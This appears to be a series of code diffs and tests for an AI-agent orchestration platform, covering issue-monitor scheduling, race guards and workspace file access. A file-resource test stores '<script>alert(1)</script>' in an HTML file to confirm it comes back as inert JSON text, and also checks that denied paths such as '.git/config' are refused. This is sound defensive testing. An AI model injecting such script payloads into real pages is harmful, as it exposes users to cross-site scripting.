const readRuns = () => db.select().from(heartbeatRuns).where(eq(heartbeatRuns.companyId, companyId)).orderBy(heartbeatRuns.createdAt);
|
||||
console.log(JSON.stringify({ root, companyId, agentId, issueId }));
|
||||
try {
|
||||
const cwd = join(root, "workspace");
|
||||
await mkdir(cwd);
|
||||
await db.insert(companies).values({ id: companyId, name: "Isolated monitor smoke", issuePrefix: "MON", defaultResponsibleUserId: "monitor-smoke", requireBoardApprovalForNewAgents: false });
|
||||
await db.insert(authUsers).values({ id: "monitor-smoke", name: "Monitor smoke", email: "monitor-smoke@example.test", createdAt: new Date(), updatedAt: new Date() });
|
||||
await db.insert(companyMemberships).values({ companyId, principalType: "user", principalId: "monitor-smoke", status: "active", membershipRole: "owner" });
|
||||
await db.insert(agents).values({ id: agentId, companyId, name: "Monitor verifier", status: "active", adapterType: "paperclip_runner",
|
||||
adapterConfig: { provider: "codex", cwd, lifecycleMode: "warm", idleTimeoutMs: 300_000, timeoutSeconds: 180 },
|
||||
runtimeConfig: { heartbeat: { enabled: false, wakeOnDemand: true } } });
|
||||
await db.insert(issues).values({ id: issueId, companyId, title: "Verify a one-shot native task monitor", identifier: "MON-1", status: "in_progress", assigneeAgentId: agentId,
|
||||
description: "This is an isolated two-run integration test. First run: use set_task_monitor on this task with a fresh nextCheckAt about 45 seconds in the future (compute the current UTC time if needed), notes saying to verify issue_monitor_due, and idempotencyKey monitor-live-first. Confirm the receipt. Then call paperclip_finish with yielded and continuation.kind monitor, accurately retaining the second run as blocking remaining work. End immediately after acceptance. Do not sleep or poll. Second run: if the wake reason is issue_monitor_due, the requested check succeeded. Report that reason and finish done using the current completion contract. Do not schedule another monitor or request human review. No files or other deliverables are required." });
|
||||
await heartbeat.wakeup(agentId, { source: "on_demand", triggerDetail: "manual", reason: "monitor_smoke",
|
||||
requestedByActorType: "system", requestedByActorId: "monitor-smoke", payload: { issueId }, contextSnapshot: { issueId, wakeReason: "monitor_smoke" } });
|
||||
const deadline = Date.now() + 8 * 60_000;
|
||||
let firstReleasedAt: number | null = null;
|
||||
while (Date.now() < deadline) {
|
||||
const runs = await readRuns();
|
||||
if (runs.some(run => ["failed", "timed_out", "cancelled"].includes(run.status))) {
|
||||
throw new Error(`Live run failed: ${JSON.stringify(runs.map(run => ({ id: run.id, status: run.status, error: run.error, errorCode: run.errorCode })))}`);
|
||||
}
|
||||
if (runs.length === 1 && runs[0].status === "succeeded") {
|
||||
firstReleasedAt ??= Date.now();
|
||||
const [issue] = await db.select().from(issues).where(eq(issues.id, issueId));
|
||||
assert.equal(issue.status, "in_progress");
|
||||
assert.ok(issue.monitorNextCheckAt, "first run must leave a persisted monitor");
|
||||
assert.equal(issue.executionRunId, null);
|
||||
}
|
||||
if (runs.length >= 2 && runs[1].status === "succeeded") break;
|
||||
await heartbeat.tickTimers();
|
||||
await delay(1_000);
|
||||
}
|
||||
await heartbeat.drainActiveRunExecutions();
|
||||
const runs = await readRuns();
|
||||
assert.equal(runs.length, 2, "exactly two server runs must execute");
|
||||
assert.ok(runs.every(run => run.status === "succeeded"));
|
||||
const [issue] = await db.select().from(issues).where(eq(issues.id, issueId));
|
||||
const wakes = await db.select().from(agentWakeupRequests).where(and(eq(agentWakeupRequests.companyId, companyId), eq(agentWakeupRequests.reason, "issue_monitor_due")));
|
||||
assert.equal(wakes.length, 1);
|
||||
assert.equal(runs[1].contextSnapshot?.wakeReason, "issue_monitor_due");
|
||||
assert.equal(issue.status, "done");
|
||||
assert.equal(issue.monitorNextCheckAt, null);
|
||||
assert.ok(firstReleasedAt && runs[1].createdAt.getTime() - firstReleasedAt < 300_000, "wake must arrive within the configured warm window");
|
||||
const results = await db.select().from(nativeRunResults).where(eq(nativeRunResults.companyId, companyId));
|
||||
const decisions = await db.select().from(statusDecisions).where(eq(statusDecisions.companyId, companyId));
|
||||
const evidence = { companyId, issueId, agentId, configuredIdleTimeoutMs: 300_000, firstReleasedAt, status: issue.status,
|
||||
runs: runs.map(run => ({ id: run.id, status: run.status, createdAt: run.createdAt, finishedAt: run.finishedAt,
|
||||
wakeReason: run.contextSnapshot?.wakeReason, nativeSessionId: run.nativeSessionId, runnerInstanceId: run.runnerInstanceId,
|
||||
processPid: run.processPid, processStartedAt: run.processStartedAt, providerSessionId: run.sessionIdAfter,
|
||||
semanticToolReceipts: run.resultJson?.semanticToolReceipts })),
|
||||
warmReuse: { sameNativeSession: runs[0].nativeSessionId === runs[1].nativeSessionId,
|
||||
sameRunnerInstance: runs[0].runnerInstanceId === runs[1].runnerInstanceId,
|
||||
sameProcess: runs[0].processPid != null && runs[0].processPid === runs[1].processPid && runs[0].processStartedAt?.getTime() === runs[1].processStartedAt?.getTime() },
|
||||
results: results.map(row => ({ runId: row.runId, result: row.resultJson })),
|
||||
decisions: decisions.map(row => ({ runId: row.runId, reasonCode: row.reasonCode, toStatus: row.toStatus })),
|
||||
monitorWakeIds: wakes.map(row => row.id) };
|
||||
await writeFile(join(root, "evidence.json"), JSON.stringify(evidence, null, 2));
|
||||
console.log(JSON.stringify({ passed: true, evidence: join(root, "evidence.json"), warmReuse: evidence.warmReuse }));
|
||||
} finally {
|
||||
await writeFile(join(root, "run-records.json"), JSON.stringify(await readRuns(), null, 2));
|
||||
await closeIdleWarmNativeSessionsForRestart();
|
||||
runnerPrpWebSocketInternals.resetForTests();
|
||||
await new Promise<void>(resolve => server.close(() => resolve()));
|
||||
await temporary.cleanup();
|
||||
}
|
||||
@@ -995,7 +995,7 @@ describeEmbeddedPostgres("workspace file resources", () => {
|
||||
expect(linkedSecret.status).toBe(403);
|
||||
});
|
||||
|
||||
it("rejects denied paths, non-regular files, oversized text, binary, and HTML while previewing SVG as source", async () => {
|
||||
it("rejects denied paths, non-regular files, oversized text and binary while returning HTML and SVG as text", async () => {
|
||||
const { projectRoot, executionRoot } = await makeWorkspace();
|
||||
const graph = await seedGraph(db, { projectRoot, executionRoot });
|
||||
await fs.mkdir(path.join(projectRoot, ".git"), { recursive: true });
|
||||
@@ -1014,7 +1014,7 @@ describeEmbeddedPostgres("workspace file resources", () => {
|
||||
isInstanceAdmin: false,
|
||||
});
|
||||
|
||||
for (const filePath of [".git/config", "folder", "big.txt", "blob.bin", "index.html"]) {
|
||||
for (const filePath of [".git/config", "folder", "big.txt", "blob.bin"]) {
|
||||
const res = await request(app)
|
||||
.get(`/api/issues/${graph.issueId}/file-resources/content`)
|
||||
.query({ workspace: "project", path: filePath });
|
||||
@@ -1026,6 +1026,19 @@ describeEmbeddedPostgres("workspace file resources", () => {
|
||||
expect(svg.status).toBe(200);
|
||||
expect(svg.body.resource.previewKind).toBe("text");
|
||||
expect(svg.body.content.data).toContain("<svg");
|
||||
const html = await request(app)
|
||||
.get(`/api/issues/${graph.issueId}/file-resources/content`)
|
||||
.query({ workspace: "project", path: "index.html" });
|
||||
expect(html.status).toBe(200);
|
||||
expect(html.headers["content-type"]).toContain("application/json");
|
||||
expect(html.headers["x-content-type-options"]).toBe("nosniff");
|
||||
expect(html.body.resource).toMatchObject({ contentType: "text/html", previewKind: "text", capabilities: { preview: true } });
|
||||
expect(html.body.content).toEqual({ encoding: "utf8", data: "<script>alert(1)</script>" });
|
||||
const downloaded = await request(app)
|
||||
.get(`/api/issues/${graph.issueId}/file-resources/content`)
|
||||
.query({ workspace: "project", path: "index.html", download: "1" });
|
||||
expect(downloaded.status).toBe(200);
|
||||
expect(downloaded.headers["content-disposition"]).toBe('attachment; filename="index.html"');
|
||||
});
|
||||
|
||||
it("rejects remote workspaces without fetching provider resources", async () => {
|
||||
|
||||
@@ -253,6 +253,9 @@ describeEmbeddedPostgres("issue monitor scheduler", () => {
|
||||
const { issueId, agentId } = await seedFixture();
|
||||
const heartbeat = heartbeatService(db);
|
||||
const tickAt = new Date("2026-04-11T12:31:00.000Z");
|
||||
const [before] = await db.select().from(issues).where(eq(issues.id, issueId));
|
||||
const unrelatedPolicy = { commentRequired: false, futureAuthorization: { preserve: true } };
|
||||
await db.update(issues).set({ executionPolicy: { ...before.executionPolicy, ...unrelatedPolicy } }).where(eq(issues.id, issueId));
|
||||
|
||||
const result = await heartbeat.tickTimers(tickAt);
|
||||
|
||||
@@ -260,6 +263,7 @@ describeEmbeddedPostgres("issue monitor scheduler", () => {
|
||||
|
||||
const issue = await db.select().from(issues).where(eq(issues.id, issueId)).then((rows) => rows[0]!);
|
||||
expect(issue.monitorNextCheckAt).toBeNull();
|
||||
expect(issue.executionPolicy).toMatchObject(unrelatedPolicy);
|
||||
expect(issue.monitorAttemptCount).toBe(1);
|
||||
expect(issue.monitorLastTriggeredAt?.toISOString()).toBe(tickAt.toISOString());
|
||||
expect(normalizeIssueExecutionPolicy(issue.executionPolicy ?? null)?.monitor ?? null).toBeNull();
|
||||
@@ -284,6 +288,89 @@ describeEmbeddedPostgres("issue monitor scheduler", () => {
|
||||
expect(activity).toContain("issue.monitor_triggered");
|
||||
});
|
||||
|
||||
it("preserves a due monitor through native execution and dispatches once after release", async () => {
|
||||
const { companyId, issueId, agentId, nextCheckAt } = await seedFixture();
|
||||
const runId = randomUUID();
|
||||
await db.insert(heartbeatRuns).values({ id: runId, companyId, agentId, nativeIssueId: issueId,
|
||||
runtimeMode: "native", status: "running", contextSnapshot: { issueId } });
|
||||
await db.update(issues).set({ executionRunId: runId }).where(eq(issues.id, issueId));
|
||||
const heartbeat = heartbeatService(db);
|
||||
expect((await heartbeat.tickTimers(new Date("2026-04-11T12:31:00.000Z"))).enqueued).toBe(0);
|
||||
const [waiting] = await db.select().from(issues).where(eq(issues.id, issueId));
|
||||
expect(waiting.monitorNextCheckAt).toEqual(nextCheckAt);
|
||||
expect(waiting.monitorWakeRequestedAt).toBeNull();
|
||||
expect(await db.select().from(agentWakeupRequests)).toHaveLength(0);
|
||||
await db.update(heartbeatRuns).set({ status: "succeeded", finishedAt: new Date() }).where(eq(heartbeatRuns.id, runId));
|
||||
await db.update(issues).set({ executionRunId: null }).where(eq(issues.id, issueId));
|
||||
expect((await heartbeat.tickTimers(new Date("2026-04-11T12:32:00.000Z"))).enqueued).toBe(1);
|
||||
expect((await heartbeat.tickTimers(new Date("2026-04-11T12:33:00.000Z"))).enqueued).toBe(0);
|
||||
const [triggered] = await db.select().from(issues).where(eq(issues.id, issueId));
|
||||
expect(triggered.monitorNextCheckAt).toBeNull();
|
||||
expect(triggered.monitorAttemptCount).toBe(1);
|
||||
expect((await db.select().from(agentWakeupRequests)).filter(wake => wake.reason === "issue_monitor_due")).toHaveLength(1);
|
||||
});
|
||||
|
||||
it.each(["replaced", "cleared", "reassigned", "completed"] as const)("fences a monitor %s after claim but before wake admission", async (change) => {
|
||||
const { companyId, issueId, agentId } = await seedFixture();
|
||||
const replacementAt = new Date("2026-04-11T13:30:00.000Z");
|
||||
let raced = false;
|
||||
const racingDb = new Proxy(db, {
|
||||
get(target, property, receiver) {
|
||||
if (property !== "transaction") return Reflect.get(target, property, receiver);
|
||||
return async (callback: Parameters<typeof db.transaction>[0]) => {
|
||||
const result = await db.transaction(callback);
|
||||
const claimed = result as { id?: string; monitorWakeRequestedAt?: Date } | undefined;
|
||||
if (!raced && claimed?.id === issueId && claimed.monitorWakeRequestedAt) {
|
||||
raced = true;
|
||||
await db.update(issues).set(change === "replaced" ? {
|
||||
monitorNextCheckAt: replacementAt, monitorWakeRequestedAt: null,
|
||||
executionPolicy: { monitor: { nextCheckAt: replacementAt.toISOString(), notes: "Replacement check", scheduledBy: "assignee" } },
|
||||
} : change === "cleared" ? { monitorNextCheckAt: null, monitorWakeRequestedAt: null, executionPolicy: null }
|
||||
: change === "reassigned" ? { assigneeAgentId: null } : { status: "done" })
|
||||
.where(eq(issues.id, issueId));
|
||||
}
|
||||
return result;
|
||||
};
|
||||
},
|
||||
});
|
||||
expect((await heartbeatService(racingDb).tickTimers(new Date("2026-04-11T12:31:00.000Z"))).enqueued).toBe(0);
|
||||
expect(raced).toBe(true);
|
||||
expect((await db.select().from(agentWakeupRequests).where(eq(agentWakeupRequests.companyId, companyId)))
|
||||
.filter(wake => wake.reason === "issue_monitor_due")).toHaveLength(0);
|
||||
expect(await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.agentId, agentId))).toHaveLength(0);
|
||||
const [issue] = await db.select().from(issues).where(eq(issues.id, issueId));
|
||||
if (change === "replaced") expect(issue.monitorNextCheckAt).toEqual(replacementAt);
|
||||
if (change === "cleared") expect(issue.monitorNextCheckAt).toBeNull();
|
||||
});
|
||||
|
||||
it("does not erase a replacement scheduled after wake admission", async () => {
|
||||
const { companyId, issueId } = await seedFixture();
|
||||
const nextCheckAt = new Date("2026-04-11T13:30:00.000Z");
|
||||
let replaced = false;
|
||||
const racingDb = new Proxy(db, {
|
||||
get(target, property, receiver) {
|
||||
if (property !== "transaction") return Reflect.get(target, property, receiver);
|
||||
return async (callback: Parameters<typeof db.transaction>[0]) => {
|
||||
const result = await db.transaction(callback);
|
||||
if (!replaced && (result as { kind?: string } | undefined)?.kind === "queued") {
|
||||
replaced = true;
|
||||
await db.update(issues).set({ monitorNextCheckAt: nextCheckAt, monitorWakeRequestedAt: null,
|
||||
executionPolicy: { monitor: { nextCheckAt: nextCheckAt.toISOString(), notes: "New check", scheduledBy: "assignee" } },
|
||||
}).where(eq(issues.id, issueId));
|
||||
}
|
||||
return result;
|
||||
};
|
||||
},
|
||||
});
|
||||
await heartbeatService(racingDb).tickTimers(new Date("2026-04-11T12:31:00.000Z"));
|
||||
expect(replaced).toBe(true);
|
||||
const [issue] = await db.select().from(issues).where(eq(issues.id, issueId));
|
||||
expect(issue.monitorNextCheckAt).toEqual(nextCheckAt);
|
||||
expect(issue.monitorWakeRequestedAt).toBeNull();
|
||||
expect((await db.select().from(agentWakeupRequests).where(eq(agentWakeupRequests.companyId, companyId)))
|
||||
.filter(wake => wake.reason === "issue_monitor_due")).toHaveLength(1);
|
||||
});
|
||||
|
||||
it.each(["unknown", "exhausted"] as const)("does not replay a quota monitor with %s execution evidence", async (kind) => {
|
||||
const sourceRunId = randomUUID();
|
||||
const { companyId, issueId, agentId } = await seedFixture({
|
||||
|
||||
@@ -2907,6 +2907,39 @@ describe("P6-31 Section 18.13 executable status-authority corpus", () => {
|
||||
expect(await db.select().from(agentWakeupRequests).where(eq(agentWakeupRequests.idempotencyKey, key))).toHaveLength(1);
|
||||
});
|
||||
|
||||
it.each(["scheduled", "cleared", "replaced", "reassigned"] as const)("revalidates a %s monitor under the final disposition lock", async (state) => {
|
||||
const template = corpus.fixtures.find(candidate => candidate.mode === "native")!;
|
||||
const fixture = { ...template, id: `monitor-commit-${state}`, given: { ...template.given, priorIssueStatus: "in_progress" } };
|
||||
const seeded = await seedFixture(fixture);
|
||||
const nextCheckAt = new Date(Date.now() + 60_000).toISOString();
|
||||
const currentCheck = state === "replaced" ? new Date(Date.now() + 120_000).toISOString() : nextCheckAt;
|
||||
await db.update(issues).set({
|
||||
executionRunId: seeded.runId, checkoutRunId: seeded.runId,
|
||||
assigneeAgentId: state === "reassigned" ? null : agentId,
|
||||
monitorNextCheckAt: state === "cleared" ? null : new Date(currentCheck),
|
||||
executionPolicy: state === "cleared" ? null : { monitor: { nextCheckAt: currentCheck, notes: "Check again" } },
|
||||
}).where(eq(issues.id, seeded.issueId));
|
||||
const decision: NativeStatusDecision = { policyVersion: NATIVE_STATUS_ARBITER_POLICY_VERSION,
|
||||
statusAction: "preserve", toStatus: "in_progress", reasonCode: "scheduled_monitor_waiting",
|
||||
unblockDescriptor: null, effects: [{ kind: "release_checkout" }] };
|
||||
const commit = () => commitNativeStatusDecision({ db, companyId, issueId: seeded.issueId, runId: seeded.runId,
|
||||
assessmentId: seeded.assessmentId, priorStatus: "in_progress", priorStatusVersion: 0, priorDecisionId: null,
|
||||
decision, requireMonitorWait: { agentId, nextCheckAt } });
|
||||
if (state !== "scheduled") {
|
||||
await expect(commit()).rejects.toThrow("native_status_race");
|
||||
expect(await db.select().from(statusDecisions).where(eq(statusDecisions.issueId, seeded.issueId))).toHaveLength(0);
|
||||
} else {
|
||||
await commit();
|
||||
expect((await commit()).replayed).toBe(true);
|
||||
const [issue] = await db.select().from(issues).where(eq(issues.id, seeded.issueId));
|
||||
expect(issue).toMatchObject({ status: "in_progress", checkoutRunId: null, executionRunId: null });
|
||||
expect(issue.monitorNextCheckAt?.toISOString()).toBe(nextCheckAt);
|
||||
const effects = await db.select().from(statusDecisionEffects).where(eq(statusDecisionEffects.issueId, seeded.issueId));
|
||||
expect(effects.map(effect => effect.effectKind)).toEqual(["release_checkout"]);
|
||||
expect((await db.select().from(agentWakeupRequests).where(eq(agentWakeupRequests.agentId, agentId))).filter(wake => wake.payload?.issueId === seeded.issueId)).toHaveLength(0);
|
||||
}
|
||||
});
|
||||
|
||||
it("fails the transaction closed for an unknown status effect", async () => {
|
||||
const fixture = corpus.fixtures.find((candidate) => candidate.mode === "native");
|
||||
if (!fixture) throw new Error("native corpus fixture missing");
|
||||
|
||||
+1
-100
@@ -1,3 +1,4 @@
|
||||
import { monitorPoliciesEqual, applyActorMonitorScheduledBy, assertCanManageIssueMonitor, summarizeIssueMonitor } from "../services/issue-monitors.js";
|
||||
import type { IssuePrivacyConstraints } from "@paperclipai/shared";
|
||||
import { canActorReadHeartbeatRun } from "../services/heartbeat-run-privacy.js";
|
||||
import { activeIssueInteractionCondition, readTaskQuestionContext } from "../services/issue-question-context.js";
|
||||
@@ -2170,106 +2171,6 @@ function summarizeIssueReferenceActivityDetails(
|
||||
};
|
||||
}
|
||||
|
||||
function monitorPoliciesEqual(
|
||||
left: NormalizedExecutionPolicy | null,
|
||||
right: NormalizedExecutionPolicy | null,
|
||||
) {
|
||||
return (
|
||||
JSON.stringify(left?.monitor ?? null) ===
|
||||
JSON.stringify(right?.monitor ?? null)
|
||||
);
|
||||
}
|
||||
|
||||
function applyActorMonitorScheduledBy(
|
||||
policy: NormalizedExecutionPolicy | null,
|
||||
actorType: "agent" | "user",
|
||||
) {
|
||||
return setIssueExecutionPolicyMonitorScheduledBy(
|
||||
policy,
|
||||
actorType === "user" ? "board" : "assignee",
|
||||
);
|
||||
}
|
||||
|
||||
async function assertCanManageIssueMonitor(
|
||||
accessSvc: ReturnType<typeof accessService>,
|
||||
req: Request,
|
||||
companyId: string,
|
||||
assigneeAgentId: string | null,
|
||||
monitorChanged: boolean,
|
||||
) {
|
||||
if (!monitorChanged) return;
|
||||
if (req.actor.type === "board") return;
|
||||
const runtimeDecision = await accessSvc.decide({
|
||||
actor: req.actor,
|
||||
action: "runtime:manage",
|
||||
resource: { type: "company", companyId },
|
||||
});
|
||||
if (!runtimeDecision.allowed) {
|
||||
throw forbidden(
|
||||
runtimeDecision.explanation,
|
||||
authorizationDeniedDetails(runtimeDecision),
|
||||
);
|
||||
}
|
||||
if (
|
||||
req.actor.type === "agent" &&
|
||||
req.actor.agentId &&
|
||||
req.actor.agentId === assigneeAgentId
|
||||
)
|
||||
return;
|
||||
throw forbidden(
|
||||
"Only the assignee agent or a board user can manage issue monitors",
|
||||
);
|
||||
}
|
||||
|
||||
function summarizeIssueMonitor(
|
||||
issue: {
|
||||
monitorNextCheckAt?: Date | null;
|
||||
monitorLastTriggeredAt?: Date | null;
|
||||
monitorAttemptCount?: number | null;
|
||||
monitorNotes?: string | null;
|
||||
monitorScheduledBy?: string | null;
|
||||
executionState?: unknown;
|
||||
},
|
||||
policy: NormalizedExecutionPolicy | null,
|
||||
) {
|
||||
const state = parseIssueExecutionState(issue.executionState);
|
||||
return {
|
||||
nextCheckAt:
|
||||
issue.monitorNextCheckAt?.toISOString() ??
|
||||
policy?.monitor?.nextCheckAt ??
|
||||
null,
|
||||
lastTriggeredAt:
|
||||
issue.monitorLastTriggeredAt?.toISOString() ??
|
||||
state?.monitor?.lastTriggeredAt ??
|
||||
null,
|
||||
attemptCount:
|
||||
issue.monitorAttemptCount ?? state?.monitor?.attemptCount ?? 0,
|
||||
notes:
|
||||
policy?.monitor?.notes ??
|
||||
issue.monitorNotes ??
|
||||
state?.monitor?.notes ??
|
||||
null,
|
||||
scheduledBy:
|
||||
issue.monitorScheduledBy ??
|
||||
policy?.monitor?.scheduledBy ??
|
||||
state?.monitor?.scheduledBy ??
|
||||
null,
|
||||
kind: policy?.monitor?.kind ?? state?.monitor?.kind ?? null,
|
||||
serviceName:
|
||||
policy?.monitor?.serviceName ?? state?.monitor?.serviceName ?? null,
|
||||
externalRef: redactIssueMonitorExternalRef(
|
||||
policy?.monitor?.externalRef ?? state?.monitor?.externalRef ?? null,
|
||||
),
|
||||
timeoutAt: policy?.monitor?.timeoutAt ?? state?.monitor?.timeoutAt ?? null,
|
||||
maxAttempts:
|
||||
policy?.monitor?.maxAttempts ?? state?.monitor?.maxAttempts ?? null,
|
||||
recoveryPolicy:
|
||||
policy?.monitor?.recoveryPolicy ?? state?.monitor?.recoveryPolicy ?? null,
|
||||
status: state?.monitor?.status ?? (policy?.monitor ? "scheduled" : null),
|
||||
clearReason: state?.monitor?.clearReason ?? null,
|
||||
};
|
||||
}
|
||||
|
||||
function activityExecutionParticipantKey(
|
||||
participant: ActivityExecutionParticipant,
|
||||
): string {
|
||||
|
||||
@@ -3786,6 +3786,8 @@ interface WakeupOptions {
|
||||
statuses: string[];
|
||||
assigneeAgentId: string;
|
||||
statusVersion?: number;
|
||||
monitorNextCheckAt?: string;
|
||||
monitorWakeRequestedAt?: string;
|
||||
};
|
||||
/** Keep causally distinct external chat continuations out of an existing run. */
|
||||
allowRunCoalescing?: boolean;
|
||||
@@ -11661,18 +11663,19 @@ export function heartbeatService(
|
||||
runId: string | null;
|
||||
activitySource: "manual" | "scheduled";
|
||||
}) {
|
||||
await db
|
||||
const cleared = await db
|
||||
.update(issues)
|
||||
.set({
|
||||
...buildIssueMonitorClearedPatch({
|
||||
...monitorOnlyDispatchPatch(buildIssueMonitorClearedPatch({
|
||||
issue: input.claimed,
|
||||
policy: input.policy,
|
||||
clearReason: input.clearReason,
|
||||
clearedAt: input.now,
|
||||
}),
|
||||
})),
|
||||
updatedAt: input.now,
|
||||
})
|
||||
.where(eq(issues.id, input.claimed.id));
|
||||
.where(issueMonitorClaimCondition(input.claimed)).returning({ id: issues.id });
|
||||
if (cleared.length === 0) return { outcome: "skipped" as const, reason: "monitor_replaced" };
|
||||
|
||||
await logActivity(db, {
|
||||
companyId: input.claimed.companyId,
|
||||
@@ -11711,6 +11714,24 @@ export function heartbeatService(
|
||||
return { outcome: "skipped" as const, reason: input.clearReason };
|
||||
}
|
||||
|
||||
function monitorOnlyDispatchPatch<T extends ReturnType<typeof buildIssueMonitorClearedPatch>>(patch: T) {
|
||||
// Admission and consumption are separate transactions. Preserve any review
|
||||
// policy/state changes made between them; only the monitor belongs to us.
|
||||
return {
|
||||
...patch,
|
||||
executionPolicy: sql`nullif(${issues.executionPolicy} - 'monitor', '{}'::jsonb)`,
|
||||
executionState: sql`jsonb_set(coalesce(${issues.executionState}, ${JSON.stringify(patch.executionState)}::jsonb),
|
||||
'{monitor}', ${JSON.stringify(patch.executionState?.monitor ?? null)}::jsonb)`,
|
||||
};
|
||||
}
|
||||
|
||||
function issueMonitorClaimCondition(claimed: IssueMonitorDispatchRow) {
|
||||
return and(eq(issues.id, claimed.id), eq(issues.companyId, claimed.companyId),
|
||||
eq(issues.assigneeAgentId, claimed.assigneeAgentId!), isNull(issues.assigneeUserId),
|
||||
eq(issues.status, claimed.status), eq(issues.monitorNextCheckAt, claimed.monitorNextCheckAt!),
|
||||
eq(issues.monitorWakeRequestedAt, claimed.monitorWakeRequestedAt!));
|
||||
}
|
||||
|
||||
async function dispatchClaimedIssueMonitor(
|
||||
claimed: IssueMonitorDispatchRow,
|
||||
input: {
|
||||
@@ -11855,8 +11876,10 @@ export function heartbeatService(
|
||||
if (scheduled.outcome === "not_scheduled")
|
||||
throw conflict(scheduled.reason);
|
||||
}
|
||||
} else
|
||||
await enqueueWakeup(targetAgentId, {
|
||||
} else {
|
||||
const wake = await enqueueWakeup(targetAgentId, {
|
||||
issueStateGuard: { statuses: [claimed.status], assigneeAgentId: claimed.assigneeAgentId,
|
||||
monitorNextCheckAt: scheduledAtIso, monitorWakeRequestedAt: claimed.monitorWakeRequestedAt!.toISOString() },
|
||||
source: input.source,
|
||||
triggerDetail: input.triggerDetail,
|
||||
reason: wakeReason,
|
||||
@@ -11886,18 +11909,26 @@ export function heartbeatService(
|
||||
manualTrigger: input.activitySource === "manual",
|
||||
},
|
||||
});
|
||||
if (!wake) {
|
||||
await db.update(issues).set({ monitorWakeRequestedAt: null, updatedAt: input.now })
|
||||
.where(issueMonitorClaimCondition(claimed));
|
||||
return { outcome: "skipped" as const, reason: "monitor_dispatch_deferred" };
|
||||
}
|
||||
}
|
||||
|
||||
await db
|
||||
const consumed = await db
|
||||
.update(issues)
|
||||
.set({
|
||||
...buildIssueMonitorTriggeredPatch({
|
||||
...monitorOnlyDispatchPatch(buildIssueMonitorTriggeredPatch({
|
||||
issue: claimed,
|
||||
policy,
|
||||
triggeredAt: input.now,
|
||||
}),
|
||||
})),
|
||||
updatedAt: new Date(),
|
||||
})
|
||||
.where(eq(issues.id, claimed.id));
|
||||
.where(issueMonitorClaimCondition(claimed))
|
||||
.returning({ id: issues.id });
|
||||
if (consumed.length === 0) return { outcome: "skipped" as const, reason: "monitor_replaced" };
|
||||
|
||||
await logActivity(db, {
|
||||
companyId: claimed.companyId,
|
||||
@@ -11926,15 +11957,15 @@ export function heartbeatService(
|
||||
await db
|
||||
.update(issues)
|
||||
.set({
|
||||
...buildIssueMonitorClearedPatch({
|
||||
...monitorOnlyDispatchPatch(buildIssueMonitorClearedPatch({
|
||||
issue: claimed,
|
||||
policy,
|
||||
clearReason: "dispatch_skipped",
|
||||
clearedAt: input.now,
|
||||
}),
|
||||
})),
|
||||
updatedAt: new Date(),
|
||||
})
|
||||
.where(eq(issues.id, claimed.id));
|
||||
.where(issueMonitorClaimCondition(claimed));
|
||||
|
||||
await logActivity(db, {
|
||||
companyId: claimed.companyId,
|
||||
@@ -11964,7 +11995,7 @@ export function heartbeatService(
|
||||
monitorWakeRequestedAt: null,
|
||||
updatedAt: new Date(),
|
||||
})
|
||||
.where(eq(issues.id, claimed.id));
|
||||
.where(issueMonitorClaimCondition(claimed));
|
||||
} else {
|
||||
await db
|
||||
.update(issues)
|
||||
@@ -11972,13 +12003,21 @@ export function heartbeatService(
|
||||
monitorWakeRequestedAt: null,
|
||||
updatedAt: new Date(),
|
||||
})
|
||||
.where(eq(issues.id, claimed.id));
|
||||
.where(issueMonitorClaimCondition(claimed));
|
||||
}
|
||||
|
||||
throw err;
|
||||
}
|
||||
}
|
||||
|
||||
function noActiveNativeMonitorRun() {
|
||||
return sql`not exists (select 1 from ${heartbeatRuns} monitor_run
|
||||
where monitor_run.company_id = ${issues.companyId}
|
||||
and monitor_run.native_issue_id = ${issues.id}
|
||||
and monitor_run.runtime_mode = 'native'
|
||||
and monitor_run.status in ('queued', 'running', 'scheduled_retry'))`;
|
||||
}
|
||||
|
||||
async function triggerIssueMonitor(
|
||||
issueId: string,
|
||||
input?: {
|
||||
@@ -12071,6 +12110,7 @@ export function heartbeatService(
|
||||
.where(
|
||||
and(
|
||||
eq(companies.status, "active"),
|
||||
noActiveNativeMonitorRun(),
|
||||
sql`${issues.monitorNextCheckAt} is not null`,
|
||||
lte(issues.monitorNextCheckAt, now),
|
||||
isNull(issues.assigneeUserId),
|
||||
@@ -12099,6 +12139,7 @@ export function heartbeatService(
|
||||
.where(
|
||||
and(
|
||||
eq(issues.id, due.id),
|
||||
noActiveNativeMonitorRun(),
|
||||
sql`${issues.monitorNextCheckAt} is not null`,
|
||||
lte(issues.monitorNextCheckAt, now),
|
||||
isNull(issues.assigneeUserId),
|
||||
@@ -27839,6 +27880,9 @@ export function heartbeatService(
|
||||
executionWorkspacePreference: issues.executionWorkspacePreference,
|
||||
executionWorkspaceSettings: issues.executionWorkspaceSettings,
|
||||
assigneeAgentId: issues.assigneeAgentId,
|
||||
assigneeUserId: issues.assigneeUserId,
|
||||
monitorNextCheckAt: issues.monitorNextCheckAt,
|
||||
monitorWakeRequestedAt: issues.monitorWakeRequestedAt,
|
||||
executionRunId: issues.executionRunId,
|
||||
executionAgentNameKey: issues.executionAgentNameKey,
|
||||
createdAt: issues.createdAt,
|
||||
@@ -27870,6 +27914,54 @@ export function heartbeatService(
|
||||
return { kind: "skipped" as const };
|
||||
}
|
||||
|
||||
const issueStateGuard = opts.issueStateGuard;
|
||||
const activeMonitorRun = issueStateGuard?.monitorNextCheckAt === undefined ? null
|
||||
: await tx.select({ id: heartbeatRuns.id }).from(heartbeatRuns).where(and(
|
||||
eq(heartbeatRuns.companyId, issue.companyId), eq(heartbeatRuns.nativeIssueId, issue.id),
|
||||
eq(heartbeatRuns.runtimeMode, "native"), inArray(heartbeatRuns.status, ["queued", "running", "scheduled_retry"]),
|
||||
)).limit(1).then(rows => rows[0] ?? null);
|
||||
if (
|
||||
issueStateGuard &&
|
||||
(!issueStateGuard.statuses.includes(issue.status) ||
|
||||
issue.assigneeAgentId !== issueStateGuard.assigneeAgentId ||
|
||||
(issueStateGuard.statusVersion !== undefined && issue.statusVersion !== issueStateGuard.statusVersion) ||
|
||||
(issueStateGuard.monitorNextCheckAt !== undefined && (
|
||||
activeMonitorRun !== null || issue.assigneeUserId !== null ||
|
||||
issue.monitorNextCheckAt?.toISOString() !== issueStateGuard.monitorNextCheckAt ||
|
||||
issue.monitorWakeRequestedAt?.toISOString() !== issueStateGuard.monitorWakeRequestedAt
|
||||
)))
|
||||
) {
|
||||
// A deferred monitor retains its schedule; do not create a receipt
|
||||
// that could suppress its next admission attempt.
|
||||
